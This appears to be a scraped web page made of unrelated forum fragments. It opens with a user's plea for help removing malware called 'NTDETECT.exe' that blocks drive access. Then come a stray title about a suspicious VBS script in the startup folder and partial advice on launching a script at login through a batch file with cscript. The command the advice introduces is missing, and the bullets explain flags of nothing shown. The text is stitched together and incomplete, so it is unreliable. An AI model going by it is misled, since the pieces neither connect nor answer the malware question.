    A Suspicious Script

    My PC is attacked by a Suspicious Script called "NTDETECT.exe" which is harming my PC's parformences. It's symtom is when i double click on my disk drives to open then cz of this script drives dont open. Instead my virus guard notify me about this script. It also denies me to unplug any removable drive. Can anybody tell me how I could get rid of this without formatting my HDD.
    I would be grateful.

    Suspicious VBS Script in the Startup Folder

    Run VBS script with privileges on computer startup / log in

    Instead of putting the script itself in the startup folder, put a batch file (.bat)
    containing the cscript command like this:

    Where :

    • //nologo is to hide the startup logo
    • > nul is for not generating output.
